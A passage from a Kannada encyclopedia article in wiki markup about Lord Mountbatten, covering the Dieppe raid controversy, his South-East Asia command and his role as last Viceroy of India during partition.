ಫನ್ನೀಸ್‌ ಆಗಿದ್ದು - ನಾರ್ಮಂಡಿ ಬಂದರಿನಲ್ಲಿನ ಇಳಿಯುವಿಕೆಗಳ ಸಮಯದಲ್ಲಿ ಕಾಮನ್‌ವೆಲ್ತ್‌‌ ಸೈನಿಕರುಗಳು ಇಳಿಯುತ್ತಿದ್ದ ಮೂರು ಕರಾವಳಿ ನೆಲೆಗಳಲ್ಲಿ (ಗೋಲ್ಡ್‌‌ ತೀರ, ಜುನೋ‌ ತೀರ ಮತ್ತು ಸ್ವಾರ್ಡ್‌‌ ತೀರ) ನಿಸ್ಸಂಶಯವಾಗಿ ಹಲವು ಜೀವಗಳನ್ನು ಉಳಿಸಿತು.{{Citation needed|date=August 2010}}{{Or|date=August 2010}} ಡಿಯೆಪ್ಪೆ‌ ಆಕ್ರಮಣದ ಪರಿಣಾಮವಾಗಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು [[ಕೆನಡಾ|ಕೆನಡಾದಲ್ಲಿ]] ವಿವಾದಾಸ್ಪದ ವ್ಯಕ್ತಿಯಾಗಿ ಮಾರ್ಪಟ್ಟರು,<ref>{{Cite book| last= Villa| first = Brian Loring| title = Unauthorized Action: Mountbatten and the Dieppe Raid| location = Toronto| publisher = Oxford University Press| year = 1989| pages = 240–241 | isbn= 0195408047}}</ref> ತನ್ನ ನಂತರದ ವೃತ್ತಿಜೀವನದ ಅವಧಿಯಲ್ಲಿ ಅಲ್ಲಿಗೆ ನೀಡಿದ ಭೇಟಿಯ ಸಮಯಗಳಲ್ಲಿ ಕೆನಡಾದ ರಾಜ ತುಕಡಿಗಳು ತಮ್ಮನ್ನು ಅವರಿಂದ ದೂರವಿಟ್ಟುಕೊಂಡಿದ್ದರು ; ಕೆನಡಾದ ಪರಿಣತ ಸೈನಿಕರೊಂದಿಗಿನ ಅವರ ಸಂಬಂಧಗಳು "ಕಹಿತನವನ್ನು ಉಳಿಸಿಕೊಂಡಿತ್ತು".<ref>[http://archives.cbc.ca/IDC-1-71-2359-13811/conflict_war/dieppe/clip6 "ಹೂ ವಾಸ್‌ ರೆಸ್ಪಾನ್ಸಿಬಲ್‌ ಫಾರ್ ಡಿಯೆಪ್ಪೆ?" ][http://archives.cbc.ca/IDC-1-71-2359-13811/conflict_war/dieppe/clip6 CBC ಹಳೆಯ ಕಾರ್ಯಕ್ರಮಗಳ ಪಟ್ಟಿ, 9 ಸೆಪ್ಟೆಂಬರ್‌‌ 1962ರಂದು ಪ್ರಸಾರವಾಗಿತ್ತು.]. ಅಗಸ್ಟ್ ೧ ೨೦೦೭ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref> ಅದೇನೇ ಇದ್ದರೂ ಕೆನಡಾದ ನೌಕಾದಳೀಯ ಸೈನಿಕ ಪಡೆಯೊಂದಕ್ಕೆ (RCSCC #೧೩೪ ಒಂಟಾರಿಯೋದ ಸಡ್‌ಬರಿನಲ್ಲಿನ ಅಡ್ಮೀರಲ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌) ೧೯೪೬ರಲ್ಲಿ ಆತನ ಹೆಸರಿಡಲಾಗಿತ್ತು. ಅಕ್ಟೋಬರ್‌‌ ೧೯೪೩ರಲ್ಲಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರನ್ನು ಆಗ್ನೇಯ ಏಷ್ಯಾದ ಸೈನ್ಯ ತುಕಡಿಯ ಪ್ರಧಾನ ಮೈತ್ರಿಪಡೆಯ ಸೇನಾಪತಿಯಾಗಿ ಚರ್ಚಿಲ್‌‌ರು ನೇಮಕ ಮಾಡಿದ್ದರು. ಆತನ ಅಷ್ಟೇನೂ ಕಾರ್ಯಸಮರ್ಥವಲ್ಲದ ಯೋಜನೆಗಳನ್ನು Lt-Col. ಜೇಮ್ಸ್‌ ಅಲ್ಲೇಸನ್‌‌ರ ನೇತೃತ್ವದಡಿಯ ಅನುಭವಪೂರ್ಣ ಯೋಜನಾ ಸಿಬ್ಬಂದಿ ತಳ್ಳಿಹಾಕುತ್ತಿದ್ದರು, ಇಷ್ಟಾದರೂ [[ರಂಗೂನ್‌‌‌]] ಬಳಿಯ ಭೂಜಲ ಪ್ರದೇಶಗಳ ಮೇಲಿನ ಆಕ್ರಮಣದಂತಹಾ ಕೆಲವು ಪ್ರಸ್ತಾಪಗಳು ತಿರಸ್ಕೃತಗೊಳ್ಳುವ ಮುನ್ನ ಚರ್ಚಿಲ್‌‌ರವರನ್ನು ಕೂಡಾ ತಲುಪಿರುತ್ತಿದ್ದವು.<ref>''ದ ಹಾಟ್‌ ಸೀಟ್‌ ", ಜೇಮ್ಸ್‌ ಅಲ್ಲೇಸನ್‌‌ , ಬ್ಲ್ಯಾಕ್‌ಥಾರ್ನ್‌, ಲಂಡನ್‌‌ ೨೦೦೬.''</ref> ೧೯೪೬ರಲ್ಲಿ ಆಗ್ನೇಯ ಏಷ್ಯಾದ ಸೈನಿಕ ತುಕಡಿಯನ್ನು (SEAC) ವಿಸರ್ಜಿಸುವವರೆಗೆ ಅವರು ಈ ಹುದ್ದೆಯಲ್ಲಿ ಮುಂದುವರೆದಿದ್ದರು. ಆಗ್ನೇಯ ಏಷ್ಯಾದ ಯುದ್ಧಕ್ಷೇತ್ರದ ಪ್ರಧಾನ ಮೈತ್ರಿಪಡೆಯ ಸೇನಾಪತಿಯಾಗಿದ್ದ ಅವಧಿಯಲ್ಲಿ ಆತನ ತುಕಡಿಯು ಜಪಾನೀಯರಿಂದ ಬರ್ಮಾವನ್ನು ಮತ್ತೆ ಸೈನ್ಯಾಧಿಪತಿ ವಿಲಿಯಂ ಸ್ಲಿಮ್‌‌ರ ನೇತೃತ್ವದಡಿಯಲ್ಲಿ ವಶಪಡಿಸಿಕೊಂಡಿತು. ತನ್ನ ಪ್ರತಿನಿಧಿ ಹಾಗೂ ಅಮೇರಿಕನ್‌ ಚೀನಾ ಬರ್ಮಾ ಭಾರತೀಯ ಯುದ್ಧಕ್ಷೇತ್ರದ ನೇತೃತ್ವವನ್ನು ವಹಿಸಿದ್ದ ಅಧಿಕಾರಿ ಸೈನ್ಯಾಧಿಪತಿ "ವಿನೆಗರ್‌ ಜೋ " ಸ್ಟಿಲ್‌ವೆಲ್‌ -- ಮತ್ತು ಚೀನೀಯ ರಾಷ್ಟ್ರೀಯತಾವಾದಿ ಸೇನಾಪಡೆಯ ನಾಯಕ ಮಹಾಸೇನಾಧಿಪತಿ ಚಿಯಾಂಗ್‌‌ ಕೈ-ಷೆಕ್‌‌ರವರುಗಳೊಂದಿಗಿನ ರಾಜತಾಂತ್ರಿಕ ನಡಾವಳಿಗಳು ಸೈನ್ಯಾಧಿಪತಿ ಮಾಂಟ್‌ಗೋಮೆರಿ ಮತ್ತು ವಿನ್‌‌ಸ್ಟನ್‌‌ ಚರ್ಚಿಲ್‌‌ರವರುಗಳೊಡನೆ ಸೈನ್ಯಾಧಿಪತಿ ಐಸೆನ್‌ಹೋವರ್‌‌ ಹೊಂದಿದ್ದ ನಡಾವಳಿಗಳಷ್ಟೇ ಉಪಯುಕ್ತವಾಗಿತ್ತು.{{Citation needed|date=August 2010}} ಇದರಲ್ಲಿ ಅವರು ಪಡೆದ ವೈಯಕ್ತಿಕ ಮೇಲುಗೈಯೆಂದರೆ ಸೈನ್ಯಾಧಿಪತಿ ಇಟಾಗಾಕಿ ಸೇಷಿರೋರ ನೇತೃತ್ವದ ಜಪಾನೀಯ ಪಡೆಗಳ ಔಪಚಾರಿಕ ಶರಣಾಗತಿಯನ್ನು ಪಡೆಯಲು ಬ್ರಿಟಿಷ್‌‌ ಪಡೆಗಳು ದ್ವೀಪಪ್ರದೇಶಕ್ಕೆ ಮರಳಿ ಬಂದಾಗ ೧೨ ಸೆಪ್ಟೆಂಬರ್‌‌ ೧೯೪೫ರಂದು ಆಪರೇಷನ್‌ ಟೈಡ್‌ರೇಸ್‌‌ ಎಂಬ ಸಂಕೇತನಾಮದ ಕಾರ್ಯಾಚರಣೆಯಲ್ಲಿ [[ಸಿಂಗಾಪುರ್|ಸಿಂಗಪೂರ್‌‌]]ನಲ್ಲಿ ಜಪಾನೀಯರ ಶರಣಾಗತಿಯನ್ನು ಪಡೆದುದಾಗಿತ್ತು. ===ಕೊನೆಯ ವೈಸ್‌‌ರಾಯ್‌‌=== ಈ ಪ್ರದೇಶದಲ್ಲಿನ ಅನುಭವ ಹಾಗೂ ನಿರ್ದಿಷ್ಟವಾಗಿ ಆ ಕಾಲಾವಧಿಯಲ್ಲಿ ಆತನು ನೌಕರರ ಮನಸ್ಥಿತಿಯ ಬಗ್ಗೆ ಪಡೆದಿದ್ದ ಗ್ರಹಿಕೆಯು ಸಮರಾನಂತರ ಕ್ಲೆಮೆಂಟ್‌ ಆಟ್ಲೀ ಭಾರತದ ವೈಸ್‌‌ರಾಯ್‌‌ ಆಗಿ ಆತನನ್ನು ನೇಮಕ ಮಾಡುವುದಕ್ಕೆ ಕಾರಣವಾಯಿತು ಬ್ರಿಟಿಷ್‌‌ ಭಾರತವು ಸ್ವಾತಂತ್ರ್ಯವನ್ನು ೧೯೪೮ಕ್ಕಿಂತ ಮುಂಚೆಯೇ ಹೊಂದುವುದರ ಜವಾಬ್ದಾರಿಯನ್ನು ಆತನ ಮೇಲೆ ಹೊರಿಸಲಾಗಿತ್ತು. ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ನೀಡಿದ ಸೂಚನೆಗಳು ಅಧಿಕಾರದ ಹಸ್ತಾಂತರದ ಪರಿಣಾಮವಾಗಿ ಭಾರತದ ಸಮಗ್ರತೆಯನ್ನು ಎತ್ತಿಹಿಡಿದರೂ ಹಸ್ತಾಂತರದ ನಂತರ ಬ್ರಿಟನ್‌‌‌ ಪಡೆಗಳು ತನ್ನ ಗೌರವಕ್ಕೆ ಉಂಟಾಗಬಹುದಾದ ಧಕ್ಕೆಯನ್ನು ಕನಿಷ್ಟ ಮಟ್ಟಕ್ಕೆ ಇಳಿಸಿಕೊಳ್ಳುವ ಹಾಗೆ ಬದಲಾದ ಸ್ಥಿತಿಗೆ ಹೊಂದುವ ಹಾಗೆ ನಡೆದುಕೊಳ್ಳಲು ಆತನಿಗೆ ಅಧಿಕಾರ ನೀಡಲಾಗಿತ್ತು.<ref>ಝೀಗ್ಲೆರ್‌‌, ''ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌. '' ''ಇನ್‌ಕ್ಲೂಡಿಂಗ್‌ ಹಿಸ್‌ ಇಯರ್ಸ್‌ ಆಸ್‌ ದ ಲಾಸ್ಟ್‌ ವೈಸ್‌‌ರಾಯ್‌‌ ಆಫ್‌ ಇಂಡಿಯಾ'' , p. ೩೫೯.</ref> ಈತನು ನಿಗದಿಪಡಿಸಿದ್ದ ಆದ್ಯತೆಗಳು ಭಾರತದ ಸ್ವಾತಂತ್ರ್ಯದ ಬಗ್ಗೆ ಚರ್ಚೆಗಳು ನಡೆಯುವಾಗ ವ್ಯವಹಾರಗಳು ಕೈಗೂಡುವ ರೀತಿಯ ಮೇಲೆ ಪರಿಣಾಮ ಬೀರಿದವು, ಅದರಲ್ಲೂ ವಿಶೇಷವಾಗಿ ಹಿಂದೂಗಳು ಹಾಗೂ ಮುಸಲ್ಮಾನರ ವಿಭಜಿತ ಬಣಗಳ ನಡುವೆ ಇದು ಪರಿಣಾಮ ಬೀರಿತ್ತು. ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು [[ಭಾರತೀಯ ರಾಷ್ಟ್ರೀಯ ಕಾಂಗ್ರೆಸ್|ಕಾಂಗ್ರೆಸ್‌‌]] ನಾಯಕ ನೆಹರೂ ಹಾಗೂ ರಾಷ್ಟ್ರದ ಬಗೆಗಿನ ಅವರ ಉದಾರೀಕರಣ ನೀತಿಯ ಬಗ್ಗೆ ಒಲವನ್ನು ಹೊಂದಿದ್ದರು. ಆದರೆ ಆತ ಮುಸಲ್ಮಾನ ನಾಯಕ ಜಿನ್ನಾರ ಬಗ್ಗೆ ಬೇರೆಯೇ ಭಾವನೆಯನ್ನು ಹೊಂದಿದ್ದರೂ, ಆತನ ಶಕ್ತಿಯ ಬಗ್ಗೆ ಅರಿವನ್ನು ಹೊಂದಿದ್ದರು, ಅದನ್ನು ಹೀಗೆ ವ್ಯಕ್ತಪಡಿಸಿದ್ದರೂ ಕೂಡಾ " ೧೯೪೭ರಲ್ಲಿ ಯಾವುದೇ ನಿರ್ದಿಷ್ಟ ವ್ಯಕ್ತಿಯ ಕೈಗಳಿಗೆ ಭಾರತದ ಭವಿಷ್ಯವನ್ನು ಬದಲಾಯಿಸುವ ಶಕ್ತಿಯಿದೆ ಎಂಬುದನ್ನು ಹೇಳಬಹುದಾದರೆ ಆ ವ್ಯಕ್ತಿ ಮೊಹಮ್ಮದ್‌‌ ಅಲಿ ಜಿನ್ನಾ ಆಗಿದ್ದಾರೆ".<ref name="SarJinna">ಸರ್ದೇಸಾಯ್‌, ''ಇಂಡಿಯಾ. '' ''ದ ಡೆಫಿನಿಟಿವ್‌ ಹಿಸ್ಟರಿ'' (ಬೌಲ್ಡರ್‌ : ವೆಸ್ಟ್‌ವ್ಯೂ ಪ್ರೆಸ್‌, ೨೦೦೮), p. ೩೦೯-೩೧೩.</ref> ಸಮಗ್ರ ಭಾರತದಲ್ಲಿ ಮುಸಲ್ಮಾನರ ಪ್ರಾತಿನಿಧಿತ್ವದ ಬಗ್ಗೆ ಜಿನ್ನಾ ವಾದಿಸುತ್ತಿದ್ದರೆ, ನೆಹರೂ ಹಾಗೂ ಬ್ರಿಟಿಷರು ‌ಇದರ ಬಗ್ಗೆ ಸಂಧಾನ ನಡೆಸಲು ಪ್ರಯತ್ನಿಸಿ ಹೈರಾಣಾಗಿದ್ದರು ಇದರ ಪರಿಣಾಮವಾಗಿ ಜಿನ್ನಾ ಮತ್ತು ಭಾರತೀಯ ರಾಷ್ಟ್ರೀಯ ಕಾಂಗ್ರೆಸ್‌‌ ಎರಡೂ ಪಂಗಡಗಳು ಒಪ್ಪಬಹುದಾದ ಪರಿಹಾರವನ್ನು ಕಂಡುಕೊಳ್ಳುವ ಬದಲಿಗೆ ಮುಸಲ್ಮಾನರಿಗೆ ಅವರದೇ ಆದ ರಾಷ್ಟ್ರವನ್ನು ಕೊಟ್ಟುಬಿಡುವುದು ಉತ್ತಮವೆಂದು ಭಾವಿಸಿದರು.<ref name="Greenberg, Jonathan D. 2005">ಗ್ರೀನ್‌ಬರ್ಗ್‌, ಜೋನಾಥನ್‌ D. "ಜನರೇಷನ್ಸ್‌ ಆಫ್‌ ಮೆಮೋರಿ: ರಿಮೆಂಬರಿಂಗ್‌ ಪಾರ್ಟಿಷನ್‌ ಇನ್‌ ಇಂಡಿಯಾ /ಪಾಕಿಸ್ತಾನ ಅಂಡ್‌ ಇಸ್ರೇಲ್‌/ಪ್ಯಾಲೆಸ್ತೈನ್." ಕಂಪ್ಯಾರೇಟಿವ್‌ ಸ್ಟಡೀಸ್ ಆಫ್‌ ಸೌತ್‌ ಏಷ್ಯಾ, ಆಫ್ರಿಕಾ ಅಂಡ್‌ ದ ಮಿಡಲ್‌ ಈಸ್ಟ್‌ ೨೫, no.೧ (೨೦೦೫): ೮೯. ಪ್ರಾಜೆಕ್ಟ್ MUSE</ref> ಸ್ವಾತಂತ್ರ್ಯವನ್ನು ಆದಷ್ಟು ಬೇಗ ಕೊಟ್ಟು ಮರಳಲು ಬ್ರಿಟಿಷ್‌‌ ಸರ್ಕಾರದ ಆಗ್ರಹವು ಹೆಚ್ಚುತ್ತಾ ಹೋದಾಗ,<ref>ಝೀಗ್ಲೆರ್‌‌, ಫಿಲಿಪ್‌, ''ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌. '' ''ಇನ್‌ಕ್ಲೂಡಿಂಗ್‌ ಹಿಸ್‌ ಇಯರ್ಸ್‌ ಆಸ್‌ ದ ಲಾಸ್ಟ್‌ ವೈಸ್‌‌ರಾಯ್‌‌ ಆಫ್‌ ಇಂಡಿಯಾ'' (ನ್ಯೂ ಯಾರ್ಕ್‌: Knopf, ೧೯೮೫).</ref> ಸಮಗ್ರ ಭಾರತ ಎಂಬುದು ಒಂದು ಸಾಧಿಸಲಾಗದ ಗುರಿಯಾಗಿದೆ ಎಂದು ನಿಶ್ಚಯಿಸಿ ಸ್ವತಂತ್ರ ಭಾರತ ಹಾಗೂ [[ಪಾಕಿಸ್ತಾನ|ಪಾಕಿಸ್ತಾನವಾಗಿ]] ವಿಭಜನೆಯನ್ನು ಮಾಡುವ ಯೋಜನೆಗೆ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ತನ್ನನ್ನು ಒಪ್ಪಿಸಿಕೊಂಡರು.<ref name="ReferenceA" /> ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ಬ್ರಿಟಿಷರಿಂದ ಭಾರತೀಯರಿಗೆ ಅಧಿಕಾರದ ಹಸ್ತಾಂತರಕ್ಕೆ ನಿರ್ದಿಷ್ಟ ದಿನಾಂಕವನ್ನು ನಿಗದಿಪಡಿಸುವಂತೆ ಒತ್ತಾಯಿಸಿದರು, ಅದಕ್ಕೆ ಸಮರ್ಥನೆಯಾಗಿ ನಿರ್ದಿಷ್ಟಗೊಳಿಸಿದ ಗಡುವು ಭಾರತೀಯರಿಗೆ ತನ್ನ ಹಾಗೂ ಬ್ರಿಟಿಷ್‌‌ ಸರಕಾರವು ಕ್ಷಿಪ್ರ ಹಾಗೂ ಸಮರ್ಥ ಸ್ವಾತಂತ್ರ್ಯವನ್ನು ನೀಡುವ ಬಗ್ಗೆ ಹೊಂದಿರುವ ಮುತುವರ್ಜಿಯನ್ನು ಖಾತರಿಪಡಿಸಿ ಈ ಪ್ರಕ್ರಿಯೆಯು ಸ್ಥಗಿತಗೊಳಿಸಬಲ್ಲ ಯಾವುದೇ ಸಾಧ್ಯತೆಯಿಲ್ಲವೆಂದು ಮನಗಾಣಿಸುತ್ತದೆ ಎಂಬ ವಾದವನ್ನು ಮುಂದಿಟ್ಟರು.<ref>ಝೀಗ್ಲೆರ್‌‌, ''ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ . '' ''ಇನ್‌ಕ್ಲೂಡಿಂಗ್‌ ಹಿಸ್‌ ಇಯರ್ಸ್‌ ಆಸ್‌ ದ ಲಾಸ್ಟ್‌ ವೈಸ್‌‌ರಾಯ್‌‌ ಆಫ್‌ ಇಂಡಿಯಾ'' , p. ೩೫೫.</ref> ಆತನು ಪರಿಸ್ಥಿತಿಯು ತೀರಾ ಅಸ್ತವ್ಯಸ್ತವಾಗಿರುವುದರಿಂದ ೧೯೪೭ಕ್ಕಿಂತ ತಡವಾಗಿ ನಿರ್ಧಾರ ಮಾಡುವುದು ಸಾಧ್ಯವಿರುವುದಿಲ್ಲ ಎಂಬ ತೀರ್ಮಾನಕ್ಕೆ ಬಂದರು. ಅವರು ಹೀಗೆ ತೀರ್ಮಾನವನ್ನು ಕೈಗೊಂಡುದುದು ಉಪಖಂಡದ ಜನರು ಅನಾಹುತಕಾರಿ ಪರಿಣಾಮಗಳನ್ನು ಎದುರಿಸಬೇಕಾಗಿ ಬರುವಂತೆ ಮಾಡಿತು.ಅಧಿಕಾರ ಹಸ್ತಾಂತರದ ಪ್ರಕ್ರಿಯೆಯನ್ನು ತ್ವರಿತಗೊಳಿಸುವಿಕೆಯು ಭಾರತೀಯ ಉಪಖಂಡದಲ್ಲಿ ಹಿಂದೆಂದೂ ಕಂಡರಿಯದಂತಹಾ ಭೀಕರ ಹಿಂಸಾಕೃತ್ಯಗಳು ಹಾಗೂ ಪ್ರತೀಕಾರದ ತೀವ್ರತೆಯನ್ನು ಉಂಟಾಗುವುದಕ್ಕೆ ಕಾರಣವಾಯಿತು. ಭಾರತೀಯ ನಾಯಕರುಗಳಲ್ಲಿ, ಗಾಂಧಿಯವರು ಸ್ಫುಟವಾಗಿಯೇ ಸಮಗ್ರ ಭಾರತವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲು ಒತ್ತಾಯಿಸಿದರು ಹಾಗೂ ಒಂದಷ್ಟು ಕಾಲ ಈ ಗುರಿಯ ಬಗ್ಗೆ ಯಶಸ್ವಿಯಾಗಿ ಜನರನ್ನು ಒಟ್ಟುಗೂಡಿಸಿದರು ಕೂಡಾ. ಆದಾಗ್ಯೂ, ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ನೀಡಿದ ಗಡುವು ವಾಸ್ತವವಾಗಿ ಸ್ವಾತಂತ್ರ್ಯವನ್ನು ತ್ವರಿತವಾಗಿ ಪಡೆದುಕೊಳ್ಳುವ ನಿರೀಕ್ಷೆಯನ್ನು ಹುಟ್ಟುಹಾಕಿದಾಗ ಜನರ ಮನೋಭಾವಗಳು ಬೇರೆಯೇ ದಿಕ್ಕನ್ನು ಹಿಡಿದವು. ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ದೃಢ ನಿಶ್ಚಯವನ್ನು ಗಮನದಲ್ಲಿಟ್ಟುಕೊಂಡಾಗ ಮುಸ್ಲಿಮ್‌ ಲೀಗ್‌ಅನ್ನು ಒಪ್ಪಿಸುವಲ್ಲಿ ನೆಹರೂ ಹಾಗೂ ಪಟೇಲರ ಅಸಮರ್ಥತೆಗಳು ಹಾಗೂ ಕಡೆಯದಾಗಿ ಜಿನ್ನಾರ ಹಠಮಾರಿತನಗಳ ಪರಿಣಾಮವಾಗಿ ಎಲ್ಲಾ ಭಾರತೀಯ ಪಕ್ಷದ ನಾಯಕರು (ಗಾಂಧಿಯವರನ್ನು ಹೊರತುಪಡಿಸಿ) ಜಿನ್ನಾರ ಭಾರತ ವಿಭಜನೆಯ,<ref>ಝೀಗ್ಲೆರ್‌‌, ''ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌. '' ''ಇನ್‌ಕ್ಲೂಡಿಂಗ್‌ ಹಿಸ್‌ ಇಯರ್ಸ್‌ ಆಸ್‌ ದ ಲಾಸ್ಟ್‌ ವೈಸ್‌‌ರಾಯ್‌‌ ಆಫ್‌ ಇಂಡಿಯಾ'' , p. ೩೭೩</ref> ಯೋಜನೆಯ ನಿಲುವನ್ನು ಒಪ್ಪುವ ತೀರ್ಮಾನಕ್ಕೆ ಬರಬೇಕಾಯಿತು, ಇದರ ಪರಿಣಾಮವಾಗಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಹೊಣೆಗಾರಿಕೆಯು ಕಡಿಮೆಯಾಯಿತು. ಇಂತಹಾ ಪರಿಸ್ಥಿತಿಯ ವ್ಯಂಗ್ಯದಿಂದಾಗಿ ಜಿನ್ನಾರಿಗೆ ಈ ಪರಿಸ್ಥಿತಿಯು ತಮಗೆ ಹೆಚ್ಚು ಅನುಕೂಲತೆಗಳನ್ನು ಗಳಿಸಿಕೊಳ್ಳುವ ಬಗ್ಗೆ ಚೌಕಾಸಿ ನಡೆಸುವ ಸಾಧನವಾಯಿತಲ್ಲದೇ ಅವರದೇ ಅಂತಿಮ ತೀರ್ಮಾನವೆಂಬ ಪರಿಸ್ಥಿತಿ ಏರ್ಪಡುವ ಹಾಗಾಯಿತು. ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ನೇರವಾಗಿ ಬ್ರಿಟಿಷ್‌‌ ಆಳ್ವಿಕೆಯಡಿ ಬರದ ಭಾರತದ ಪ್ರಾಂತ್ಯಗಳ ಭಾರತೀಯ ಪ್ರಭುಗಳೊಂದಿಗೆ ಕೂಡಾ ಬಲವಾದ ಬಾಂಧವ್ಯವನ್ನು ಸ್ಥಾಪಿಸಿದ್ದರು. ಇತಿಹಾಸಕಾರ ರಾಮಚಂದ್ರ ಗುಹಾರವರು ತಮ್ಮ ಕೃತಿ 'ಇಂಡಿಯಾ ಆಫ್ಟರ್‌ ಗಾಂಧಿ'ಯಲ್ಲಿ ಹೇಳುವ ಪ್ರಕಾರ ಅಂತಹಾ ರಾಜರುಗಳಲ್ಲಿ ಬಹುತೇಕ ಮಂದಿ ಭಾರತೀಯ ಒಕ್ಕೂಟಕ್ಕೆ ಸೇರಿಕೊಳ್ಳುವುದರಿಂದಾಗುವ ಅನುಕೂಲತೆಗಳನ್ನು ತಿಳಿಸಿಕೊಟ್ಟು ಅವರ ಮನವೊಲಿಸುವಂತೆ ಮಾಡುವಲ್ಲಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಮಧ್ಯಸ್ಥಿಕೆಯು ನಿರ್ಣಾಯಕ ಪಾತ್ರ ವಹಿಸಿತ್ತು. ಆದ್ದರಿಂದ ರಾಜಾಡಳಿತದ ಪ್ರಾಂತ್ಯಗಳ ಏಕೀಕರಣವು ಆತನ ಹಿರಿಮೆಯ ಧನಾತ್ಮಕ ಅಂಶಗಳಲ್ಲಿ ಒಂದೆಂದು ಭಾವಿಸಬಹುದಾಗಿದೆ. ಭಾರತ ಮತ್ತು ಪಾಕಿಸ್ತಾನಗಳು ಸ್ವಾತಂತ್ರ್ಯವನ್ನು ೧೪ರ ರಾತ್ರಿ ಹಾಗೂ ೧೫ ಆಗಸ್ಟ್‌‌ ೧೯೪೭ರ ಅವಧಿಯಲ್ಲಿ ಪಡೆದುಕೊಂಡಾಗ, ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಜೂನ್‌‌ ೧೯೪೮ರವರೆಗೆ ಭಾರತದ ಪ್ರಪ್ರಥಮ ಮಹಾಮಂಡಲಾಧಿಪತಿಯಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸುತ್ತಾ ಹತ್ತು ತಿಂಗಳ ಕಾಲ [[ನವ ದೆಹಲಿ|ನವ ದೆಹಲಿಯಲ್ಲಿಯೇ]] ಉಳಿದಿದ್ದರು. ಭಾರತದ ಸ್ವಾತಂತ್ರ್ಯ ಗಳಿಕೆಯಲ್ಲಿ ತಾನೇ ಬಿಂಬಿಸಿಕೊಂಡ ಮಹತ್ವದ ಪಾತ್ರವನ್ನು — ಗಮನಾರ್ಹವಾಗಿ "ದ ಲೈಫ್‌ ಅಂಡ್‌ ಟೈಮ್ಸ್‌ ಆಫ್‌ ಅಡ್ಮಿರಲ್‌ ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಆಫ್‌ ಬರ್ಮಾ " ಎಂಬ ತನ್ನ ಅಳಿಯ ಲಾರ್ಡ್‌‌ ಬ್ರಾಬೌರ್ನೆನು ನಿರ್ಮಿಸಿದ್ದ ಕಿರುತೆರೆಯ ಸರಣಿಯಲ್ಲಿ ಹಾಗೂ ಡಾಮಿನಿಕ್‌ ಲೇಪಿಯೆರ್ರೆ ಮತ್ತು ಲ್ಯಾರ್ರಿ ಕಾಲಿನ್ಸ್‌‌ರ ನಿಜವಾಗಿ ಹೇಳುವುದಾದರೆ ಭಾವೋದ್ರೇಕಗೊಳಿಸುವ ''ಫ್ರೀಡಮ್‌ ಅಟ್‌ ಮಿಡ್‌ನೈಟ್‌ '' (ಈ ಕಾರ್ಯಕ್ರಮಕ್ಕೆ ಈತನೇ ಪ್ರಧಾನ ಮಾಹಿತಿದಾರನಾಗಿದ್ದರು)ಗಳಲ್ಲಿ ಬಿಂಬಿಸಿದಂತೆ ಕಾಣಿಸದ — ಆತನ ಚರಿತ್ರೆಯು ಬಹುಮಟ್ಟಿಗೆ ಮಿಶ್ರಿತ ನಡವಳಿಕೆಗಳನ್ನು ಹೊಂದಿದೆ ; ಒಂದು ಪ್ರಖ್ಯಾತವಾದ ದೃಷ್ಟಿಕೋನದ ಪ್ರಕಾರ ಆತನು ಸ್ವಾತಂತ್ರ್ಯವನ್ನು ನೀಡುವ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಅನುಚಿತವಾಗಿ ಹಾಗೂ ಅಜಾಗರೂಕತೆಯಿಂದ ತ್ವರಿತಗೊಳಿಸಿದನು, ಇದರಿಂದ ವ್ಯಾಪಕ ಘರ್ಷಣೆಗಳುಂಟಾಗುತ್ತದೆ ಹಾಗೂ ಸಾವುನೋವುಗಳು ಉಂಟಾಗುತ್ತವೆಂಬುದು ತಿಳಿದಿದ್ದರೂ ಬ್ರಿಟಿಷರ ಆಳ್ವಿಕೆಯಡಿಯಲ್ಲಿ ಹಾಗಾಗುವುದನ್ನು ಇಚ್ಛಿಸದೇ, ಆದರೂ ವಾಸ್ತವವಾಗಿ ಹಾಗೆ ಗಲಭೆ ಉಂಟಾಗುವುದಕ್ಕೆ ಅದರಲ್ಲೂ ವಿಶೇಷವಾಗಿ ಪಂಜಾಬ್‌ ಮತ್ತು ಬಂಗಾಳ ಪ್ರಾಂತ್ಯಗಳಲ್ಲಿ ಘರ್ಷಣೆಗಳುಂಟಾಗುವುದಕ್ಕೆ ಕಾರಣನಾದನು.<ref>ನೋಡಿ, e.g., ವೋಲ್ಪರ್ಟ್‌, ಸ್ಟ್ಯಾನ್ಲಿ (೨೦೦೬). ''ಷೇಮ್‌ಫುಲ್‌ ಫ್ಲೈಟ್ : ದ ಲಾಸ್ಟ್‌ ಇಯರ್ಸ್‌ ಆಫ್‌ ದ ಬ್ರಿಟಿಷ್‌‌ ಎಂಪೈರ್‌ ಇನ್‌ ಇಂಡಿಯಾ'' .</ref> ಹೀಗೆ ಪ್ರತಿಪಾದಿಸುವ ವಿಮರ್ಶಕರು ಸ್ವಾತಂತ್ರ್ಯವನ್ನು ಪಡೆಯುವ ಸಮಯ ಹಾಗೂ ಪಡೆದ ನಂತರದ ಅವಧಿಗಳಲ್ಲಿ ಘಟನಾವಳಿಗಳು ನಿಯಂತ್ರಣ 